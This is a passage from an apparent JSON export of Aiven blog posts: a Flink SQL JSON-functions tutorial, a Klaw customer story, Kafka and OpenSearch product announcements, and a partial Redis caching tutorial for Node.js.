JSON_VALUE(payload, '$.location') AS `city` \nFROM sensors \nWHERE JSON_VALUE(payload, '$.data.metric') = 'Temperature' \nGROUP BY JSON_VALUE(payload, '$.location');\n```\n\nAnd the expected output is:\n\n```\n avg_temperature city\n 19 Berlin\n 17 Paris\n 23 London\n 25 Rome\n```\n\nSo far all the fields extracted were scalars. But Apache Flink® provides also a function to extract more complex data points called `JSON_QUERY`.\nFor instance, the following query extracts the complete `data` field from all messages with valid JSON and shows `NULL` for the remaining ones. \n\n```sql\nSELECT JSON_QUERY(payload, '$.data') AS `data` \nFROM sensors;\n```\n\nThe query output is:\n```\n data\n {\"metric\":\"Temperature\",\"valu~\n {\"metric\":\"Temperature\",\"valu~\n \u003cNULL\u003e\n {\"metric\":\"Light\",\"value\":23,~\n {\"metric\":\"Noise\",\"value\":43,~\n \u003cNULL\u003e\n \u003cNULL\u003e\n {\"metric\":\"Temperature\",\"valu~\n {\"metric\":\"Temperature\",\"valu~\n {\"metric\":\"Temperature\",\"valu~\n {\"metric\":\"Temperature\",\"valu~\n {\"metric\":\"Temperature\",\"valu~\n```\n\n### Build JSON structures with Apache Flink® SQL\n\nIn the previous section we saw how to parse JSON messages with SQL and extract the required fields, but that's only part of the story. Apache Flink® SQL also enables us to build nested JSON datasets. Let's first create a flat representation of our dataset above with the `max` function extracting the peak measurement for a certain location, metric and timestamp.\n\n```sql\nSELECT \n JSON_VALUE(payload, '$.location') as loc, \n JSON_VALUE(payload, '$.data.metric') as metric,\n TO_TIMESTAMP(JSON_VALUE(payload, '$.timestamp')) as timestamp_value,\n MAX(JSON_VALUE(payload, '$.data.value')) as max_value\nFROM sensors \nWHERE JSON_EXISTS(payload, '$.data')\n AND JSON_EXISTS(payload, '$.location')\nGROUP BY \n JSON_VALUE(payload, '$.data.metric'),\n JSON_VALUE(payload, '$.location'), \n TO_TIMESTAMP(JSON_VALUE(payload, '$.timestamp'));\n```\nThe output is a flat table containing the peak value for each metric, city and timestamp:\n```\n loc metric max_value timestamp_value\n Berlin Temperature 23 2018-12-10 13:45:00.000\n Berlin Temperature 16 2018-12-10 13:55:00.000\n Berlin Light 23 2018-12-10 13:45:00.000\n Paris Temperature 23 2018-12-10 13:45:00.000\n Paris Temperature 12 2018-12-10 13:55:00.000\n London Temperature 23 2018-12-10 13:45:00.000\n Rome Temperature 23 2018-12-10 13:45:00.000\n Rome Temperature 28 2018-12-10 13:55:00.000\n```\nNow, let's assume we want to create a unique message per `timestamp_value` and `metric` containing a JSON field listing all the cities having an IoT reading and the value of the reading itself. \n\nTo condense all the values in a unique row, we can use the `JSON_OBJECTAGG` function which builds a JSON object string by aggregating key-value expressions.\n\nApache Flink® SQL does not allow nested aggregated functions, therefore we need another wrapper.\n```sql\nWITH sensors_with_max_metric AS (\n SELECT \n JSON_VALUE(payload, '$.location') AS loc,\n JSON_VALUE(payload, '$.data.metric') AS metric,\n TO_TIMESTAMP(JSON_VALUE(payload, '$.timestamp')) AS timestamp_value,\n MAX(JSON_VALUE(payload, '$.data.value')) AS max_value\n FROM sensors\n WHERE JSON_EXISTS(payload, '$.data')\n AND JSON_EXISTS(payload, '$.location')\n GROUP BY \n JSON_VALUE(payload, '$.data.metric'),\n JSON_VALUE(payload, '$.location'),\n TO_TIMESTAMP(JSON_VALUE(payload, '$.timestamp'))\n)\nSELECT \n timestamp_value, \n metric, \n JSON_OBJECTAGG(KEY loc VALUE max_value) AS json_object_value\nFROM sensors_with_max_metric\nGROUP BY timestamp_value, metric;\n```\n\nNote that `JSON_OBJECTAGG` allows us to define what fields to use as `KEY` and `VALUE` of the JSON object. The output of the above SQL is:\n```\n timestamp_value metric json_object_value\n 2018-12-10 13:45:00.000 Light {\"Berlin\":\"23\"}\n 2018-12-10 13:45:00.000 Temperature {\"Berlin\":\"23\",\"London\":\"23\",~\n 2018-12-10 13:55:00.000 Temperature {\"Berlin\":\"16\",\"Paris\":\"12\",\"~\n```\n\nAs a last step, we can create one unique nested JSON document per message, including all the three columns above, with the `JSON_OBJECT` function, which behaves similarly to `JSON_OBJECTAGG` but without aggregation:\n\n```sql\nWITH sensors_with_max_metric AS (\n SELECT \n JSON_VALUE(payload, '$.location') AS loc,\n JSON_VALUE(payload, '$.data.metric') AS metric,\n TO_TIMESTAMP(JSON_VALUE(payload, '$.timestamp')) AS timestamp_value,\n MAX(JSON_VALUE(payload, '$.data.value')) AS max_value\n FROM sensors\n WHERE JSON_EXISTS(payload, '$.data')\n AND JSON_EXISTS(payload, '$.location')\n GROUP BY \n JSON_VALUE(payload, '$.data.metric'),\n JSON_VALUE(payload, '$.location'),\n TO_TIMESTAMP(JSON_VALUE(payload, '$.timestamp'))\n), \nsensors_with_max_metric_grouped_by_metric_and_timestamp AS (\n SELECT \n timestamp_value, \n metric, \n JSON_OBJECTAGG(KEY loc VALUE max_value) AS loc\n FROM sensors_with_max_metric\n GROUP BY \n timestamp_value, \n metric)\nSELECT \n JSON_OBJECT(\n KEY 'timestamp' VALUE timestamp_value, \n KEY 'metric' VALUE s.metric, \n KEY 'values' VALUE s.loc\n )\nFROM sensors_with_max_metric_grouped_by_metric_and_timestamp s;\n```\n\nThe final output is the following, with three nested JSON objects.\n\n```\n {\"timestamp\":\"2018-12-10 13:45:00.000\",\"metric\":\"Light\",\"values\":\"{\\\"Berlin\\\":\\\"23\\\"}\"}\n {\"timestamp\":\"2018-12-10 13:45:00.000\",\"metric\":\"Temperature\",\"values\":\"{\\\"Berlin\\\":\\\"23\\\",\\\"London\\\":\\\"23\\\",\\\"Paris\\\":\\\"23\\\",\\\"Rome\\\":\\\"23\\\"}\"}\n {\"timestamp\":\"2018-12-10 13:55:00.000\",\"metric\":\"Temperature\",\"values\":\"{\\\"Berlin\\\":\\\"16\\\",\\\"Paris\\\":\\\"12\\\",\\\"Rome\\\":\\\"28\\\"}\"}\n```\n\nWe managed to parse and build nested JSON data structure using only SQL statements. No more need of custom functions to handle one of the most used data formats in data technology!\n\n### Next Steps\n\nDriven by a huge community effort, Apache Flink®'s SQL is becoming more and more powerful in every release. More features, connectors, functions are added, making the SQL APIs the main driver to define streaming data pipelines. The JSON functions explained here will land in version 1.15.0, but you can already start getting familiar with the huge set of SQL functions available now.\n\nSome more references:\n* Official documentation about [JSON TABLE SQL functions at Flink](https://nightlies.apache.org/flink/flink-docs-master/docs/dev/table/functions/systemfunctions/#json-functions)\n* Start playing with the [Apache Flink SQL Client](https://nightlies.apache.org/flink/flink-docs-master/docs/dev/table/sqlclient/)\n* Start your trial with [Aiven for Apache Flink®](https://aiven.io/flink)\n* Read all the details about Aiven for Apache Flink® in the [dedicated Aiven developer documentation](https://aiven.io/docs/products/flink/index.html)\n","categories":[{"_key":"1wgqjrglPyMfEWcMYN3YcQ","_ref":"1wgqjrglPyMfEWcMYN3YcQ","_type":"reference"},{"_key":"6CI2flR8OpeiqtSCkEmG7Z","_ref":"6CI2flR8OpeiqtSCkEmG7Z","_type":"reference"},{"_key":"7a75dJHI5iFb0ksQIdhTn0","_ref":"7a75dJHI5iFb0ksQIdhTn0","_type":"reference"},{"_key":"8R60m8L4BFeRA01yrF7eD","_ref":"8R60m8L4BFeRA01yrF7eD","_type":"reference"}],"internalBlogProcess":"technical","mainImage":{"alt":"","asset":{"_ref":"image-1374824d15c2a967897ae5b9f03adc36d7146369-1567x844-png","_type":"reference"}},"publishedAt":"2022-03-03T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Apache Flink® 1.15.0 will introduce new JSON SQL functions, allowing even more powerful data processing. Read on to find out what is in store.","metaImage":{"alt":"","asset":{"_ref":"image-1374824d15c2a967897ae5b9f03adc36d7146369-1567x844-png","_type":"reference"}},"metaTitle":"New JSON SQL functions in Apache Flink® 1.15.0: A Sneak Peek"},"slug":{"_type":"slug","current":"/blog/preview-JSON-SQL-functions-apache-flink-1.15.0"},"subtitle":"Apache Flink® 1.15.0 will introduce new JSON SQL functions, allowing even more powerful data processing. Read on to find out what is in store.","title":"Looking ahead to the new JSON SQL functions in Apache Flink® 1.15.0"} {"__i18n_lang":"en","_createdAt":"2023-10-30T06:54:56Z","_id":"3d9080bc-213b-4c4e-a7b9-e3220f9bcf65","_rev":"K4OjmPZwqkJMmxhvodAQPJ","_type":"post","_updatedAt":"2023-10-30T07:46:43Z","authors":[{"_key":"50d28dee5cea","_ref":"3CMp6swW2L6wlHhqp57gWe","_type":"reference"}],"body":"We understand the power and the popularity of Apache Kafka®. Its open-source, highly available data streaming technology is perfectly suited to event-driven applications that need to transfer data at speed and at scale. [It’s no surprise that instances of Kafka can be found at more than eight in ten of all Fortune 100 companies](https://kafka.apache.org/). \n\nIn fact, companies of all sizes depend on Kafka for data streaming, integration and analytics. That includes [Essendant](https://www.essendant.com/), which provides wholesale distribution and fulfillment services throughout the US. Every day, the company fills nearly 250,000 product lines, and ships 53,000 orders from 30 distribution centers across the US — with 99.9% accuracy. It works with more than 500 supplier partners, its inventory is vast and diverse, and its customers rely on it to extend their own reach and improve their supply chains. Not bad for a company that has just celebrated its centenary.\n\n![Aiven + Essendant - Andy Kiss, CIO Quote](https://cdn.sanity.io/images/sczeoy4w/production/25b361ac65ef9fb6c63e1675032823c110021d51-1200x628.png)\n\nRajesh Solanki is a Domain Architect, Middleware at Essendant. He explains why Kafka is so important to the business. “We have an incredibly data-intensive operation. We are in the business of moving a huge range of goods and supplies around the country. All that needs to be managed and recorded. And that means we need to generate, access and move a huge amount of accurate, timely data around our business too.”\n\nLike many companies, Essendant has grown its use of Kafka over time. It initially started using Kafka to support the analytics around one specific product in its inventory. Then the order-entry team, which needed to store thousands of events a day, started using Kafka to ensure that the company’s applications had easy access to those events. \n\n“Today we have two Kafka clusters,” says Solanki. “One is a three-node cluster for the shared infrastructure used by multiple teams who are just writing events. The other is a five-node cluster dedicated to order-entry and all the processes and applications that need to access it. However, we want to expand the business so my team has a goal to enable more real-time data pipelines to support this. The Kafka clusters will become an even more important element of our business.” \n\n## Klaw enters the picture\nHowever, running Kafka in an enterprise setting is by no means straightforward. It is one of the reasons that so many organizations turn to Aiven to take on the burden and free up internal expertise to focus on value-generating work. \n\nAdditionally, governing Kafka in an enterprise setting is a complex business – and one that is often overlooked, at least initially. But as more and more organizations like Essendant adopt Kafka in their technology stack, they are discovering that inadequate governance and authorization of the hundreds of topics created can compromise the benefits of having high-performance data pipelines, streaming analytics, and data integration. \n\nAnd so, to help make Apache Kafka governance easier for everyone, Aiven acquired Kafkawize back in September 2022 – which is now known as Klaw – to give users of open source Apache Kafka, like Essendant, a centralized governance layer on top of Kafka. Klaw provides data governance with enterprise-grade security and user-management functionality and solves problems organizations face – like user management and topic-level operations – when scaling the adoption of Kafka across several use-cases, with multiple responsible teams and approval pipelines. The aim is to help organizations make better decisions, enhance regulatory compliance and optimize the efficiency of their Kafka footprint. \n\nBack to Essendant. “We were using Spring Boot to create and view topics in Kafka, so everything was manual,” Solanki says. “My team was also developing REST APIs and venturing into creating and modifying Access Control Lists (ACLs), so we started using a tool to help manage the Kafka environment. However, we quickly figured out that the support wasn’t at the level we needed and the pricing model wasn’t right. I thought, ‘let's investigate if there are any open-source options out there.’”\n\nEssendant has an open-minded approach to its IT from the top down. “It’s important to give my team the freedom and flexibility to decide which technologies to implement. I’m a big supporter of tracing technical solutioning to business value. That's how Klaw came into the picture,” says Andy Kiss, SVP of IT and CIO, Essendant.\n\n![Aiven + Essendant, Rajesh Solanki Quote](https://cdn.sanity.io/images/sczeoy4w/production/34dda3f815ef525b687c4d86ca9e0c29c28a0728-1200x628.png)\n\n## Easy to use, easy to govern \nSolanki immediately found that Klaw is a straightforward tool to use. “It’s open source, so I downloaded it and quickly figured it out. It comes packaged and shipped as a standalone Spring Boot app to run as is, but we run it on a Tomcat web container which requires a little bit of tweaking – but only half a day.” \n\nHe continues: “We deployed Klaw in one of our POC environments. I showed it to my manager, a couple of architects and some of my team members. Everyone liked it, so we progressed with it and for the last three months we’ve been in production.”\n\nKlaw gives Essendant a process- and web-based data governance toolkit, which various teams can use to submit requests for new topics and schemas in Kafka, as well as access authorizations and Kafka connectors. The self-service user interface is easy to use and prevents users from calling on the already stretched administrators.\n\n“Klaw has really increased the agility of our teams and our decision-making capabilities,” says Solanki. “It streamlines colleagues' access to Kafka without adding workload to the central management team. That speeds things up. And it helps us make faster improvements to the data infrastructure underpinning the business – without giving up control over the changes.” \n\n“For example, we have multiple MongoDB Kafka Connectors that send data between the database and Kafka in our development, testing, QA, pre-production and production environments. If there’s a missing event, developers can use Klaw to look at any issues, navigate easily and quickly, and see the status of the connector. They know what’s going on in a couple of minutes – without calling in my team to manually trouble-shoot. It gives us back about five or six hours every week.”\n\nAs Essendant’s developers have found, Klaw is really easy to use. “The users love Klaw! And giving them access with the right level of authentication is really easy too,” says Solanki. Klaw also supports the company’s governance and security posture. “Using Klaw means we’ve been able to give certain teams access to specific Kafka topics, and manage the members’ level of access as required. If an event needs to be consumed by two or three different business units, we can now control that. There are no roadblocks in getting access and viewing the content.”\n\nCurrently 15 developers are using Klaw at Essendant alongside the entire middleware team. And new plans are underway. “We are starting on a process of using Schema Registry,” explains Solanki. “In a few weeks, we’ll be carrying out everything via Klaw: requesting topics, ACLs, connectors and schemas in the Schema Registry directly from Klaw. It’s an exciting process, and one that is going to help us get even more out of Kafka.”\n","categories":[{"_key":"7eb09464d273","_ref":"5xudGcikDUGEMuFsHkfr0z","_type":"reference"},{"_key":"c02fed4f0cb3","_ref":"6FWlUxDXERbtNrYX2asRv6","_type":"reference"},{"_key":"34d98de0e710","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"},{"_key":"8e2df8e4076e","_ref":"0cdf6922-1dca-475f-b8ec-584368c1ddb0","_type":"reference"}],"customerStoryTag":{"_type":"customerStoryTag","company":{"_ref":"217845de-9025-4cd7-b461-e126fb7fc23c","_type":"reference"},"ctaText":"Read the story","previewImage":{"_type":"mainImage","asset":{"_ref":"image-25b361ac65ef9fb6c63e1675032823c110021d51-1200x628-png","_type":"reference"}}},"internalBlogProcess":"editorial","mainImage":{"_type":"mainImage","alt":"Aiven Customer, Customer Story, Case Study, Use Case, Apache Klaw Use Case, Klaw, Retail, Wholesale","asset":{"_ref":"image-25b361ac65ef9fb6c63e1675032823c110021d51-1200x628-png","_type":"reference"}},"publishedAt":"2023-10-30T07:13:00.000Z","related":[{"_key":"a8a1366b5d13","_ref":"09984051-2fbb-4356-83b1-4a439dc158bb","_type":"reference"},{"_key":"01f7118b03ed","_ref":"7b886c5e-716d-4605-894a-41347e6a0801","_type":"reference"},{"_key":"be85c2f28b9a","_ref":"77f254fc-fc3a-4fc6-9592-a4a2530c36b6","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Wholesale distribution and fulfillment services company, Essendant, saves time and gains agility with Aiven's open source tool","metaImage":{"_type":"mainImage","asset":{"_ref":"image-25b361ac65ef9fb6c63e1675032823c110021d51-1200x628-png","_type":"reference"}},"metaTitle":"Essendant Embraces Klaw to improve Apache Kafka® Governance"},"slug":{"_type":"slug","current":"/blog/essendant-embraces-klaw-to-improve-apache-kafkar-governance"},"subtitle":"Wholesale distribution and fulfillment services company, Essendant, saves time and gains agility with Aiven's open source tool","title":"Essendant Embraces Klaw to improve Apache Kafka® Governance"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"3dSIdEIDnvoLaVLI81D3q5","_rev":"V5UdSzFEWrLT7ZlMFO9oMP","_type":"post","_updatedAt":"2023-08-03T10:31:03Z","authors":[{"_key":"LFe7wYXE7xFFvwFXOIwwX","_ref":"LFe7wYXE7xFFvwFXOIwwX","_type":"reference"}],"body":"We’ll keep this short: __Kafka version 2.2.0 is now available on Aiven.__ The latest version continues to improve on Apache Kafka’s stability and security with 53 improvements and 82 bug fixes.\n\n\u003e To get more information on all of the improvements and fixes, [visit the release notes](https://downloads.apache.org/kafka/).\n\nAiven customers now have access to Kafka versions 2.1 and 2.2 on all 6 clouds and their regions. You can upgrade to version 2.2 from within the Aiven Console, API, or command line client.\n\nNot a customer? [Try Aiven Kafka and our other services with our free 30 day trial](https://console.aiven.io/signup). Don’t forget to join our [changelog](https://aiven.io/changelog) and [blog](/blog/feed.xml) RSS feeds, as well as [Twitter](https://twitter.com/aiven_io) and [LinkedIn](https://www.linkedin.com/company/aiven/) to get the latest news.\n","categories":[{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"},{"_key":"9yQ4jxpUoNWbSOSWYlghM","_ref":"9yQ4jxpUoNWbSOSWYlghM","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-78256efcd877e208a599ba86a7201de3761689a1-752x405-png","_type":"reference"}},"publishedAt":"2019-04-15T21:00:00.000Z","seo":{"metaDescription":"Kafka's latest version is now available on Aiven; find out a little more about it in our latest post.","metaImage":{"alt":"","asset":{"_ref":"image-78256efcd877e208a599ba86a7201de3761689a1-752x405-png","_type":"reference"}},"metaTitle":"Kafka 2.2 now available on Aiven"},"slug":{"_type":"slug","current":"/blog/kafka-2-2-now-available-on-aiven"},"subtitle":"Kafka's latest version is now available on Aiven; find out a little more about it in our latest post.","title":"Kafka 2.2 now available on Aiven"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"3vdtW9EkHbFrR3DlOWlLFo","_rev":"ZLvKaZvfbZlWBlGcpIo8Bb","_type":"post","_updatedAt":"2024-01-29T15:40:51Z","authors":[{"_key":"23npxnYfL41QURg8oY8Lat","_ref":"23npxnYfL41QURg8oY8Lat","_type":"reference"}],"body":"\u003e **Note** On 2022-08-23, Aiven will complete its migration away from Elasticsearch. See [Aiven finishes the transition away from Elasticsearch: technical details](https://aiven.io/blog/finish-move-away-from-elasticsearch) for more information, and [Migrate your Elasticsearch client to OpenSearch®](https://aiven.io/blog/migrate-elasticsearch-client-to-opensearch) to learn how to migrate your Elasticsearch client to OpenSearch® in Python, Java and Node.js.\n\nToday, we are thrilled to announce [Aiven for OpenSearch](https://aiven.io/opensearch \"Aiven for OpenSearch product page\") - a new managed service that is built on [the OpenSearch project](https://opensearch.org/ \"OpenSearch project page\") - a truly open source alternative to Elasticsearch. Aiven for OpenSearch secures a fully open source upgrade path for Aiven for Elasticsearch 7.x customers. \n\nWhen Elastic (the company behind the Elastic stack - Elasticsearch, Kibana, Beats, and Logstash) shifted to a restrictive dual licensing structure based on Server Side Public License ([SSPL](https://opensource.org/node/1099 \"The SSPL is Not an Open Source License | Open Source Initiative\")) and Elastic license, the OpenSearch initiative was created as a community-driven, open source project, derived from the Apache 2.0 licensed Elasticsearch 7.10.2 \u0026 Kibana 7.10.2. With OpenSearch, developers have the freedom to create new features for ingesting, searching, visualizing, and analyzing data without running into proprietary roadblocks.\n\nAiven [is very much part of the community](https://opensearch.org/partners/ \"OpenSearch partners\") that keeps open source software truly open. In fact, we're a contributor to the project itself via our Open Source Program Office.\n\nAiven for OpenSearch includes OpenSearch, OpenSearch Dashboards and a [wide variety of OpenSearch plugins](https://aiven.io/docs/products/opensearch/reference/plugins.html \"Plugins available with Aiven for OpenSearch | Aiven Developer Portal\"). It’s all well-maintained and supported open source technology that allows you to continue to control your data and its portability, enjoy zero vendor lock-in, and remain free from licensing costs.\n## Elasticsearch users, want to stay open source?\nAiven for OpenSearch is fully compatible with Aiven for Elasticsearch v7. As partners of the OpenSearch project, Aiven for OpenSearch will always be up to date and committed to enhancing this technology. \n\nFrom today, you can upgrade from Aiven for Elasticsearch to Aiven for OpenSearch using the normal upgrade service mechanism. When you upgrade, the cost, the performance, and the usage experience will remain exactly the same.\n\nThe upgrade from Elasticsearch to OpenSearch will also upgrade your Kibana to OpenSearch Dashboards. \n\nThe OpenSearch APIs are backwards compatible with Elasticsearch 7. However, switching to Aiven for OpenSearch involves updates to the Aiven API responses and service metrics names. This means you have to update your client applications.\n\nThe Aiven API remains backwards compatible for as long as Aiven for Elasticsearch is available, and so you can test your client applications with OpenSearch and make the necessary updates. (Tip: To perform these tests, you might want to [fork your Elasticsearch service](https://help.aiven.io/en/articles/5074009-forking-an-aiven-service \"Fork your database | Aiven help article\").)\n\nTo ensure that your services use maintained and supported service versions, __we strongly recommend that you upgrade your service to Aiven for OpenSearch__ as soon as possible.) \n\nFor more information, [read our full upgrade instructions](https://help.aiven.io/en/articles/5424825-upgrading-elasticsearch-services-to-aiven-for-opensearch).\n## Documentation for Aiven for OpenSearch\nFor a quick overview of what OpenSearch is, take a look at our article [Introduction to OpenSearch](https://aiven.io/blog/introduction-to-opensearch \"Introduction to OpenSearch | Aiven blog\").\n\nOur Developer Portal features a comprehensive look at the whys and hows of Aiven for OpenSearch. Click through to [https://aiven.io/docs/products/opensearch](https://aiven.io/docs/products/opensearch/ \"OpenSearch on the Aiven Developer Portal\") for the complete docs.\n\nWe are updating our existing documentation to help you transition smoothly to OpenSearch and Aiven for OpenSearch. In the meantime, feel free to reach out to our support team or your own Aiven contact for answers.\n\n## Next steps\nYou can start [using Aiven for OpenSearch with cURL](https://aiven.io/docs/products/opensearch/howto/opensearch-with-curl.html) or with a language of your choice, for example, follow [our tutorials to use OpenSearch with NodeJS](https://aiven.io/blog/start-using-opensearch-with-nodejs).\n\nTo help you set up a playground, follow the guidance on [how to load a sample dataset into your OpenSearch cluster](https://aiven.io/docs/products/opensearch/howto/sample-dataset.html).\n\n[Get started with Python](https://aiven.io/blog/opensearch-dinner-party) to fix yourself a delicious menu.\n\n## Wrapping up\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.","categories":[{"_key":"4Vh5tOitJtIkyMjlv3zldF","_ref":"4Vh5tOitJtIkyMjlv3zldF","_type":"reference"},{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"9yQ4jxpUoNWbSOSWYlghM","_ref":"9yQ4jxpUoNWbSOSWYlghM","_type":"reference"}],"internalBlogProcess":"product","mainImage":{"alt":"","asset":{"_ref":"image-a25de79cefdabfb306a8c319450596a4695b5682-1567x844-png","_type":"reference"}},"publishedAt":"2021-09-27T00:00:00.000Z","seo":{"metaDescription":"Aiven is happy to announce the newest arrival on the OpenSearch scene! Read more about Aiven for OpenSearch® and how to upgrade from Elasticsearch.","metaImage":{"alt":"","asset":{"_ref":"image-a25de79cefdabfb306a8c319450596a4695b5682-1567x844-png","_type":"reference"}},"metaTitle":"Announcing Aiven for OpenSearch®"},"slug":{"_type":"slug","current":"/blog/announcing-aiven-for-opensearch"},"subtitle":"Aiven is happy to announce the newest arrival on the OpenSearch scene! Read more about Aiven for OpenSearch® and how to upgrade from Elasticsearch.","title":"Announcing Aiven for OpenSearch®"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"3xMYXYwDE8oG86cx4WECi6","_rev":"YFURCCIYWC1zW2kvzUdq2T","_type":"post","_updatedAt":"2023-08-04T18:29:38Z","authors":[{"_key":"55e38ffe91d6","_ref":"2gMdAEZfTJwRIbSW8fDJ0i","_type":"reference"}],"body":"Redis is a database designed for fast access to data. Blazingly fast. Although it is a database, it is not exactly like the Postgres and MySQL relational databases that you may be more familiar with. **Redis is an in-memory** database that stores its contents in the `RAM` of your Server/PC/Container/Raspberry Pi; with many persistence options such as occasionally dumping all of its data to disk or appending to a log.\n\nGetting used to Redis to start with may be a bit of a shock when coming from a more traditional DB background but its features and potential use cases are massive and, in many ways, from zero to getting started is minutes instead of hours or days. Take a look at our [Introduction to Redis](https://aiven.io/blog/an-introduction-to-redis) for a more in-depth look at Redis and how it works under the hood.\n\nIn this post, you will have a quickstart guide for using Redis as a cache for your Node.js Express app. We will build two (beyond trivial) apps to serve a single API endpoint. Then, we will run them both, one using Redis as a cache, and the other to send data without a caching layer; to show a very simple (but convincing) benchmark of the benefits Redis can provide with an almost zero implementation cost.\n\n## The API\n\nBecause this is 2020, we have to do something so we can use the word _FinTech_, so we are going to provide an API that lists info about the health of Bitcoin... we will use the API of [Alpha Vantage](https://www.alphavantage.co/) because their API is super simple, clean and free to use (with an email required for an API key). It may seem odd that I am providing free advertising to a company I know little about but it will all become clear when you hear what we will call our app....**Cache in Hand** — yeah, I knew you'd like it. 🐶\n\n## Step 1. Create the Express project\n\n`Express` is a great framework for setting up a Node.js backend quickly but well structured and with room to scale. You will need [npm](https://docs.npmjs.com/downloading-and-installing-node-js-and-npm) installed but then you can open a command line and paste:\n\n```zsh\nmkdir cache-in-hand \u0026\u0026 cd cache-in-hand \u0026\u0026 npm init -y\n```\n\n## Step 2. Install your dependencies\n\n```zsh\nnpm install --save-dev express redis response-time\n```\n\nHere, we use express, the Redis client, and the `response-time` middleware to send that information in the response headers.\n\n## Step 3. Write our server!\n\nLet's write the app, we can do all of this in a single file and we only need 2 endpoints: one with a cache and one without.\n\nCreate a file and call it `app.js`, and it we will add to it now:\n\n### Imports\n\n```javascript\nconst config = require('./config.json');\nconst express = require('express');\nconst responseTime = require('response-time')\nconst redis = require('redis');\nconst uuid = require('uuid/v4');\nconst axios = require('axios');\n```\n\n### Setting up the app\n\n```javascript\nvar app = express();\n\napp.use(responseTime());\n\napp.listen(config.PORT, function() {\n\tconsole.log('Cache-in-hand is running!');\n});\n```\n\n### Adding your config values\n\nCreate a file and call it `config.json`, inside we will create a `JSON` object that contains the port we will use, the API key we have and our Redis connection info.\n\n```json\n{\n\t\"API_KEY\": \"\",\n\t\"API_URL\": \"https://www.alphavantage.co/query?function=CRYPTO_RATING\u0026symbol=BTC\u0026apikey=\",\n\t\"REDIS_HOST\": \"\",\n\t\"REDIS_PORT\": ,\n\t\"REDIS_PWD\": \"\",\n\t\"PORT\": 6666\n}\n```\n\n### Add your `uncached` route\n\n```javascript\napp.get('/go-for-broke', async(req,res) =\u003e {\n axios.get(config.API_URL + config.API_KEY)\n .then(result =\u003e {\n res.send(JSON.stringify(result.data));\n }).catch(err =\u003e {\n console.error(err);\n });\n});\n```\n\n### Run It!\n\nNow, you can run the server with `node app.js` and a simple curl command will show you the response text but, since we added a response time to the header, we want more info than that.\n\n```zsh\ncurl -v localhost:6666/go-for-broke\n\n* Trying 127.0.0.1:6666...\n* TCP_NODELAY set\n* Connected to localhost (127.0.0.1) port 6666 (#0)\n\u003e GET /go-for-broke HTTP/1.1\n\u003e Host: localhost:6666\n\u003e User-Agent: curl/7.66.0\n\u003e Accept: */*\n\u003e\n* Mark bundle as not supporting multiuse\n\u003c HTTP/1.1 200 OK\n\u003c X-Powered-By: Express\n\u003c Content-Type: text/html; charset=utf-8\n\u003c Content-Length: 263\n\u003c ETag: W/\"107-0WhO2PvF4fl39YQOl4rWIQttsjI\"\n\u003c X-Response-Time: 434.951ms\n\u003c Date: Tue, 17 Mar 2020 08:27:39 GMT\n\u003c Connection: keep-alive\n\u003c\n* Connection #0 to host localhost left intact\n{\"Crypto Rating (FCAS)\":{\"1. symbol\":\"BTC\",\"2. name\":\"Bitcoin\",\"3. fcas rating\":\"Attractive\",\"4. fcas score\":\"891\",\"5. developer score\":\"847\",\"6. market maturity score\":\"826\",\"7. utility score\":\"958\",\"8. last refreshed\":\"2020-03-16 00:00:00\",\"9. timezone\":\"UTC\"}}⏎\n```\n\nUsing the `-v` flag to get a verbose output shows us the headers coming back and a response of **~435ms**\n\n## Step 4. Set up Redis\n\nYou can, of course, install Redis for your OS from [Redis](https://redis.com/redis-enterprise-software/download-center/software/) and it is a perfectly good solution for testing or local development. However, when you want to deploy your product, you will need a more reliable and available solution. At Aiven, we provide a **managed Redis service** (along with $300 of credits for testing) that you can deploy on popular cloud providers, such as Google Cloud Platform, Amazon Web Services or Microsoft Azure.\n\nAll you need to do is:\n\n* Sign up [here](https://console.aiven.io/signup)\n* Create a Project (`cache-in-hand` works for this example)\n* Add a Redis instance, our `startup` plan will be more than enough here but you can upgrade later with zero downtime\n* Deploy in the region of your choice and wait for us to get it running for you\n* When your service is green, you will see a `Host`, `Port` and a `Password`. This is all we need for this example but different clients may need different information (You can use the `Service URI` to connect from the CLI).\n\n## Step 5. Connect Redis and create a new route\n\nAdd the information to your `config.json` file and let's create a new route that adds the caching functionality to your server.\n\nWhen adding to Redis, you will use a `Key` and a `Value`, for those that are used to Frontend web frameworks, this will be very similar to using a store in things like React or Vue.\n\nThe key can be extremely useful as it can be used to identify a particular client, or connection, or it can be used to identify remote content that is requested often.\n\nIn our example, we will create a **Universally Unique Idetification Number** or **UUID** when the server starts. This means that each client will see the cached information from Redis once it has been cached. We could set the key to a user's ID, for example, so only they see the cached information and other users would get newer responses.\n\n```javascript\n\nconst REDIS_KEY = uuid.v4();\n\napp.get('/cache-in-hand', function(req,res) {\n try {\n client.get(REDIS_KEY, function(err, result) {\n if (result ) {\n res.send(result);\n } else {\n axios.get(config.API_URL + config.API_KEY)\n .then(apiResult =\u003e {\n\t \tconst str = JSON.stringify(apiResult.data)\n client.set(REDIS_KEY, str);\n\t \tres.send(str)\n }).catch(err =\u003e {\n console.error(err);\n });\n }\n });\n } catch (error) {\n console.error(error)\n res.send('Something went wrong!!!');\n }\n});\n```\n\nLet's break it down.\n\n1. We create a unique key when the server starts\n2. A request comes in at `/cache-in-hand` and we check our Redis database for data\n3. If it exists, then we send it along to the client\n4. Otherwise, we make the same request to the API as before but we also cache it in Redis before sending it to the client\n\nThat is it! Simple.\n\n## Step 6. On your (bench)marks. Get set. Go!\n\nWe could use curl to test this and read the response time header from the results but this sounds like a very manual process that could be automated, so we 